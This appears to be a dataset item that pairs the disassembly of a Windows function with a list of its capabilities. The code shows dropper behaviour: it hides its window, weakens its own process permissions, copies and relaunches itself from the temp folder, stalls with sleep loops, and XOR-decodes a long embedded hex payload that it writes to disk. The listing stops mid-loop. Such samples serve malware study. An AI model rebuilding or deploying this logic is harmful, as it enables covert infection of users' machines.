Function at 0x69645aa3
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x256c
call fcn.696475d0
sub esp, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0x40], str.012e8d51dbc082f3ace1330cb17c08a15ad53a98bb47ee5a0f8fc722d92363be65eba6a95d601b00b88d5be1fd71acaf0451bde8b5f14d499733747c4c2b0ab9
lea eax, [ebp - 0x517]
mov ebx, 0x69654380
mov edx, 0x443
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x517]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov dword [esp], 0x443
call sym._y2Ob5
mov dword [ebp - 0x44], eax
mov ecx, 0
mov eax, 0x20
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x538], ecx
add eax, 4
cmp eax, edx
jb 0x69645b56
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x540], 0
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x558], 0
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x550], 0
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x548], 0
mov dword [esp], 0x84b
call sym._affZoZyj5QQfO
mov dword [ebp - 0x4c], eax
mov dword [esp + 8], 0x84b
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x4c]
add eax, edx
mov byte [eax], 0
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x538]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x520], 5
mov dword [ebp - 0x534], 4
mov dword [ebp - 0x524], 1
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x51c], eax
mov dword [ebp - 0x530], 0
lea eax, [ebp - 0xd0]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
lea eax, [ebp - 0xd4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 6
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetSecurityInfo]
call eax
sub esp, 0x20
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x538], 0x10000000
mov eax, dword [ebp - 0xd4]
lea edx, [ebp - 0xcc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x538]
mov dword [esp + 4], eax
mov dword [esp], 1
mov eax, dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
call eax
sub esp, 0x10
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xcc]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 6
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
call eax
sub esp, 0x1c
mov dword [ebp - 0x50], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x558]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
call eax
sub esp, 8
mov eax, dword [ebp - 0xcc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 1
lea eax, [ebp - 0x558]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
call eax
sub esp, 0x10
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x544], 0xc
lea eax, [ebp - 0x558]
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x540]
lea edx, [ebp - 0x55c]
mov dword [esp + 8], edx
lea edx, [ebp - 0x55e]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorControl]
call eax
sub esp, 0xc
movzx eax, word [ebp - 0x55e]
or ah, 0x10
mov word [ebp - 0x55e], ax
movzx eax, word [ebp - 0x55e]
movzx edx, ax
mov eax, dword [ebp - 0x540]
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorControl]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0xd4]
test eax, eax
je 0x69645e12
mov eax, dword [ebp - 0xd4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov eax, dword [ebp - 0xd0]
test eax, eax
je 0x69645e2f
mov eax, dword [ebp - 0xd0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov eax, dword [ebp - 0xcc]
test eax, eax
je 0x69645e4c
mov eax, dword [ebp - 0xcc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
call sym._C2l5ozBXJYsimjY4Ro2cPCgTw1NHv
xor eax, 1
test al, al
je 0x6964612a
call sym._QqjS5ZN1jQBAJvo
test al, al
je 0x6964610e
mov dword [esp], 0x48d
call sym._affZoZyj5QQfO
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], str.7eed219a2084c5e1b3ecc8f239d759674db1fa2fde6d7e9027287cf77ab7829e6283bb1e0f60f6153863bd49a4130db8f211d0e058c36ba6d08634f5e5c5c41005b87ae0a1afcce0d7dad087e2b28dec5847fed1cbfe0a98d30dcf3dbbeba8828d9f201c4b7f3678a767e560eeb86867399a0d636a572a52
lea eax, [ebp - 0x254b]
mov ebx, 0x696547e0
mov edx, 0x438
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x254b]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov dword [esp], 0x438
call sym._y2Ob5
mov dword [ebp - 0x5c], eax
mov dword [esp], 0x43d
call sym._affZoZyj5QQfO
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov dword [esp], 0x43d
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [esp + 4], 0x10
mov dword [esp], 5
call sym._WeEn4c
mov dword [esp], eax
call sym._crdh9yB
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x64]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._free
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
test eax, eax
je 0x6964612a
lea eax, [ebp - 0x2113]
mov ebx, 0x69654c20
mov edx, 0x443
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x6c], str.f2d26f7a6c980afafcd026ba71603a560961315773a20f479c6876e72984b549c2b2cd7ce54b3329
lea eax, [ebp - 0x2113]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov dword [esp], 0x443
call sym._y2Ob5
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x1c], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x54]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
jmp 0x69646090
add dword [ebp - 0x1c], 1
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x54]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0x12b2
ja 0x6964609f
cmp dword [ebp - 0x20], 0x1f
jbe 0x69646052
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x20], 0x20
jbe 0x696460d7
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
call sym._DMBxZJ7nKLZTw0LdmFDapLMoMP
mov dword [esp], 0
call sym._exit
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
call sym._DMBxZJ7nKLZTw0LdmFDapLMoMP
mov dword [esp], 0
call sym._exit
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
call sym._DMBxZJ7nKLZTw0LdmFDapLMoMP
mov dword [esp], 0
call sym._exit
mov dword [ebp - 0x74], str.af48ca92e0acb8ae68cfa2492e4f78afbdcf09733fd97278c7b8dbdd37fedf1f8b677c51022e2566e0ae01fbf92b729a90070a4fb3232821b705f483d26a13b7c00ce7915a05ba532097c93cff5c4ff97fe1432701bb6eb5984cf39a93d2f9055522658976d77383e097f16e3750e744d193dd3338bdd0808c67e6fdf0f6a34d963bb20805504eefecc5a56d304865ca624f101cc0d08dae04ab9c48090528879ffff129e6ae9eb43140945d22dd69ac672f6bf5596edd77cdf7654fe891ebd3a189b64a1d7dc1396e275661a95c9bfaffa8b2b4492df9b26b24ca3302c89615d86c2c0c58281e836692742292edb2b98deaf8cec2ece4f049ca4146b5c291958ef9485c5ce1d9f386d91a5b33b3905938a61a6e2cec1b6391b4407944f62873693f4132c2427c67aa81807884317c60f14d0121738ad0d58faf11e4c4fd95e3cfa3fed09ee54dedfe6468a545451a78fa45a5a259b1d014035199be7584df13
lea eax, [ebp - 0x921]
mov ebx, 0x69655080
mov edx, 0x3c3
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x921]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov dword [esp], 0x3c3
call sym._y2Ob5
mov dword [ebp - 0x78], eax
mov dword [esp + 4], 0x180d
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sym._b5k8unES94YQkICLecnF2L0vtxKB
xor eax, 1
test al, al
je 0x696461ae
call sym._G1cc7xEShYs8UxhjElfDzn
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sym._free
call sym._C2l5ozBXJYsimjY4Ro2cPCgTw1NHv
xor eax, 1
test al, al
je 0x696461f2
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
call sym._DMBxZJ7nKLZTw0LdmFDapLMoMP
mov dword [esp], 0
call sym._exit
mov dword [esp], 0x2657
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
call sym._Y5VHpCNM0OTMi
xor eax, 1
test al, al
jne 0x696461e1
jmp 0x69646211
mov dword [esp], 0x2306
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp], 0xaf9d
call sym._XzFvvTKARrvhRA2HdN6gz19rc7pb
xor eax, 1
test al, al
jne 0x69646200
mov dword [ebp - 0x7c], str.05f2e80f92aa92d7aada78c3594d5e885adb15e61ddae88f3dade139a7ab062868ddebe4c9cd749d9dc52736388629ccda5df2ceb2b4d9368a45410368df8751459eb98bd677963925df9f1fdc35f4e414a1abc0709d3b37aebf9d2bc91661fedeb2b5cbfa0ab6c89237e6c29f5ab53db787eb1883ec34ad8f062868ddebe4c99d319d9d89262738e1740ebf5da4c6b20bdd368aa54105c9d4865355812d85d6c3bbfc04679a531194b38c7dd29bb002f21c45cfd2bd38c1781f91aa92d5aeda7cc3a6b25f88e2db11e61ddae88f7dade129aeab062e68dd080ec1cd769dddc52736188629dcda5df2cea2b4d9268a454103e8df97514b8103c5dec31ff404679e0319147c847dd28b300af2e447cfd2bd48a8780f91aa92d7aeda78c3a6b25e8872d3155a1fdae88f7dade139a7ab062868ddebe4c9cd749d9dc5273638862988c155f2d6b2b4d9368a454103e8df87514b810385d6c39f60556f9e631014a08c7dd28bb002f25c45cfd2bd48a8780f91aa92d7aeda78c388c63bf096db15e629f7e88f7dbde139a785062868dbebe4c9cd749d9dc52736388629ccba5da2ae9cd0b842eb454103e0fa87514bc10385d6e59ff404539e531114a08c7dd28bb002f25c458fd2dd88860a6bf0def3d7ae4ed4c4a6b22e88e2dbbbe11ddab28f7dade139a7ab062868ddebe4c98d74adddea1336388629ccdaa5fbceb2b4f93e8a454b03e8df8f594b810385d6c39ff404679e531154a0bc3dfce9c371f25c45cf02be48a8783f99aa92d7aeda78c3a6b25e88e2db15e61ddae88f7dad6139c76b284d0cbc9f85c9cdf49d9dc52776308629ceda5df2dcbab4d9368a454103e8df87514b814385e683b19d6006ea3211147c847dd28be00af25c4fcfd2bd5ca0780f91aa92d7aeda78c3a6b25ec8e2ebd5c85e88bc8f7dade115a7ab062808d5ebe4cbcd749d83cd2736388629ccda5df2ceb2b4d9768a75812d9cb3f4514b81038dd6c39ff4746f9e531314a08c5dda8bb002f25c45cfd2bd48a8780fd1aaa21780a80bb1c5b25e885ad915e61d5ae08f7da9e139a7890e2868ddebe4c9cd749d9dc527367886190cf42f97a2ddd7d93636474103e84f8f514b850385d6e597f404679e531114a08c7dd28bb042f26c07e0e38948a8780f919292d7aedad8cba6b25c88e2db3fee1ddae88f7dade139a7ab0628689deba48be246a49dc52736381036ccda5d42c6b2b4f9368a456d0be8df87514b810385d6c39ff404279e43533b94bd7dd28bb002bb5d45cfd26d40a8780d91aa929ba6da78c3a6b25e88e2db15e61ddaa88f6defce0c92ab062868ddc2e6c9cd747d95c5273238862982d25df2ceb2b4d9368a454103e8dfc7515bc32cb3e1c39ff40467a6531114a07c75d28bb202f25c17c7d2bd48a8780f91aa92d7aeda7883a6821ca7daeb15e61ddae8167dade139a7a206286addebe49dc5749d9dc52736388629ccda5df28eb2a49b368a454103e8df87514b810385d6c39ff404679e531114a08c7dd28bb002f25c45cfd2bd48a8780f91aa92d7aeda78c3a6b25e88e2db15e61ddae88f7dade139a7ab062868ddebe4c9cd749d9dc52736388629ccda5df2ceb2b4d9368a454103e8df87514b810385d6c39ff404679e531114a08c7dd28bb002f25c45cfd2bd48a8780f91aa92d7aeda78c3a6b25e88e2db15e61ddae88f7dade139a7ab062868ddebe4c9cd749d9dc52736388629ccda5df2ceb2b4d9368a454103e8df87514b810385d6c39ff404679e531114a08c7dd28bb002f25c45cfd2bd48a8780f91aa92d7aeda78c3a6b25e88e2db15e61ddae88f7dade139a7ab062868ddebe4c9cd749d9dc52736388629ccda5df2ceb2b4d9368a454103e8df87514b810385d6c39ff404679e531114a08c7dd28bb002f25c45cfd2bd48a8780f91aa92d7aeda78c3a6b25e88e2db15e61ddae88f7dade139a7ab062868ddebe4c9cd749d9dc52736388629ccda5df2ceb2b4d9368a454103e8df87514b810385d6c39ff404679e531114a08c7dd28bb002f25c45cfd2bd48a8780f91aa92d7aeda78c3a6b25e88e2db15e61ddae88f7dade139a7ab062868ddebe4c9cd749d9dc52736388629ccda5df2ceb2b4d9368a454103e8df87514b810385d6c39ff404679e531114a08cfe3e977706d65c75b7bb554983780f126e8e14236c78c3a6b2d334c5db15e61d8dbedcfe41f1b2e38f22ada8a8996fdcc144e5f440f5486f05c3cdeba24ccfb2b4d9bf9f49717b813491dcfd810385d6049bd0ec649e53ee0194de05bb085c067ba4b5c06388809b0066146a1b14db3ad90f95ca370b1ad91a62ffdae88fbaa9c526a7ab06c016f7ebe471cc749d9d46e32663d8760ed65d62430692d9368a45c2fbe9d002f64b8103e177db9ff4045668d849102bb14980f3d9e9ead131e9d2848ba7fcc791aa9210aafe90c0a6b2a15f6137116fed2ae73e6065d241ce2ec65db6ec304505fe0cf41e3d2639bc8828ccdafc3efdcadd5cf685c1f003e8df269d78f96a062ec29070c2679e5394cfaf08f6d28bb0a3b2473da6577d3cb4f35bb58255938ade7ac3a6b2d7dcc6d39eb239fa619b595231ba4ba7852d64ed938dc84eb08d25c4273638dd77931851f25e3170c98e8b454103b381d8934781651511c7bbf4341ff7bbb53ea08cbad747837a9b5c45cfd23a55604b77f81293d7aedafb07b6e900d720d7156babdae88f7d16e039a7abef62972214697fcd749d9d423afe0bfe4025b0a20d312239ad108a820527eccfe729224607a1dea3e79dc3625260697da18c7dd263822bf25cace32d42b76f3c2b95aef2afc71d7ce7a6d226e10ac23ce61d1ded434ed5883ba7ab06c17f22141b44bb741021e227363886
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sym._strlen
shr eax, 1
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
jmp 0x69646290
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x24], eax
mov dword [esp], 0xca
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0xabf
ja 0x6964629f
cmp dword [ebp - 0x24], 0
je 0x69646265
cmp dword [ebp - 0x24], 0
jne 0x696462b1
mov dword [esp], 0
call sym._exit
mov word [ebp - 0x924], 0
mov byte [ebp - 0x922], 0
mov dword [ebp - 0x2c], 0
jmp 0x6964633e
mov eax, dword [ebp - 0x2c]
add eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x7c]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov byte [ebp - 0x923], al
mov eax, dword [ebp - 0x2c]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x7c]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov byte [ebp - 0x924], al
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x924]
mov dword [esp], eax
call sym._strtol
mov ecx, eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x80]
jb 0x696462ca
lea eax, [ebp - 0x97f]
mov ebx, 0x69655460
mov edx, 0x5b
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
jmp 0x696463c6
mov dword [esp], 0x9f
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x34], 1
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x80]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x34], 0xa62
ja 0x696463d5
cmp dword [ebp - 0x30], 0
je 0x6964639b
cmp dword [ebp - 0x30], 0
jne 0x696463e7
mov dword [esp], 0
call sym._exit
mov dword [ebp - 0x84], 0
call sym._F7UJrkeqXcvO2
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x696468fb
mov dword [ebp - 0x38], 0
jmp 0x69646455
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
add eax, edx
movzx ebx, byte [eax]
mov ecx, dword [ebp - 0x38]
mov edx, 0x68168169
mov eax, ecx
mul edx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
imul eax, eax, 0x5b
sub ecx, eax
mov eax, ecx
movzx ecx, byte [ebp + eax - 0x97f]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
add eax, edx
xor ebx, ecx
mov edx, ebx
mov byte [eax], dl
add dword [ebp - 0x38], 1
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x80]
jb 0x69646412
mov dword [esp], 0x6ce
call sym._affZoZyj5QQfO
mov dword [ebp - 0x8c], eax
mov dword [esp + 4], 0xe
mov dword [esp], 5
call sym._WeEn4c
mov dword [esp], eax
call sym._crdh9yB
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0xda8]
mov edx, 0x696554c0
mov ecx, 0x10a
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, byte [edx]
mov byte [eax], cl
lea eax, [eax + 1]
lea edx, [edx + 1]
mov dword [ebp - 0x94], str.8d1af104c402cb5c09d06b369ed1eaa266b924c0f3d41d85bc2cd8fa5bdd2e55
lea eax, [ebp - 0xda8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
mov dword [esp], 0x429
call sym._y2Ob5
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sym._strlen
mov ebx, eax
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sym._strlen
add eax, ebx
add eax, 1
mov dword [esp], eax
call sym._affZoZyj5QQfO
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x1158]
mov ebx, 0x69655900
mov edx, 0xec
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xa0], str.ece8501ee39359d5b6069851e3495a190dfa3840bdc3454c48060a20361c2b5d
lea eax, [ebp - 0x1158]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xa0]
mov dword [esp + 4], eax
mov dword [esp], 0x3b0
call sym._y2Ob5
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x88]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0x98]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x90]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xa4]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x9c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
lea eax, [ebp - 0x1506]
mov ebx, 0x69655cc0
mov edx, 0x3ae
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xa8], str.0728ab22c447d473030d961cf04634fe
lea eax, [ebp - 0x1506]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xa8]
mov dword [esp + 4], eax
mov dword [esp], 0x3ae
call sym._y2Ob5
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0xb0], 0
jne 0x696466d7
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._free
jmp 0x696468fc
mov eax, dword [ebp - 0xb0]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x80]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x80]
je 0x6964672d
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._free
jmp 0x696468fc
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xb8], str.91d499c90a83bc9d7af9d4167e970d68820c73e0628537af49f6f6b701f3a70a4164ec665c34e1e14014206b90e3ea90d5d15241ec54fbf46b95829f2450af6d612fd297fdb629b66b3766608d34aad10041456e32a05eebddb8e42c4d80d612f7999bc97601a770b0beba6859266bec82391aa0216d7f2967133477ca9704885dbf47d98f941d7e8383e1bc565221c70e47a1e920cc77d39d4431cb1e8e73eedab2883f9b0777b39a6c747e53e16b74d03806477f186c11efb173e23e29c8bb43da72045ca4aa6116e58df7a56805a996f461ac7f42c6478daa2b54b6891ad59ea77df355f7f58dd819a3adfbb747385c7d920b5204928963a11d4ae5c135dc08bf4012f4738e8447bb2711af26e47a80654dbf9a30b55a533600d92bad6ed74415e58dbae8a32db9decb27b555b1ef46ae3b38c61bf8a8294879d8f036334ecfdff86cac3db3d6f282e32f66c59ed174af74490725c04b999e3b9ae5785bb9296b056bb0bab7fae88073dd3ce662aad3bd20b558da3f854526471ef6302fd1a3be98728cbc18acdf20d4b02710c97726b73a1c87cd0a298aa90414347ea354e96c6a40fc4891c27e149717115ef53c2a1341f0f631306965b51608485a5ca5ec1eb8c55b68a0e4e7fe334b3172055ead1229354756db7f18b3569fa0bf9f9e0cd2ca513e7f502d5b8fb28939cce1025a2a1f702412fff748a3c08aa8eafdc38f39853041fe55a6b32822a28a967085
lea eax, [ebp - 0x1925]
mov ebx, 0x69656080
mov edx, 0x41f
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
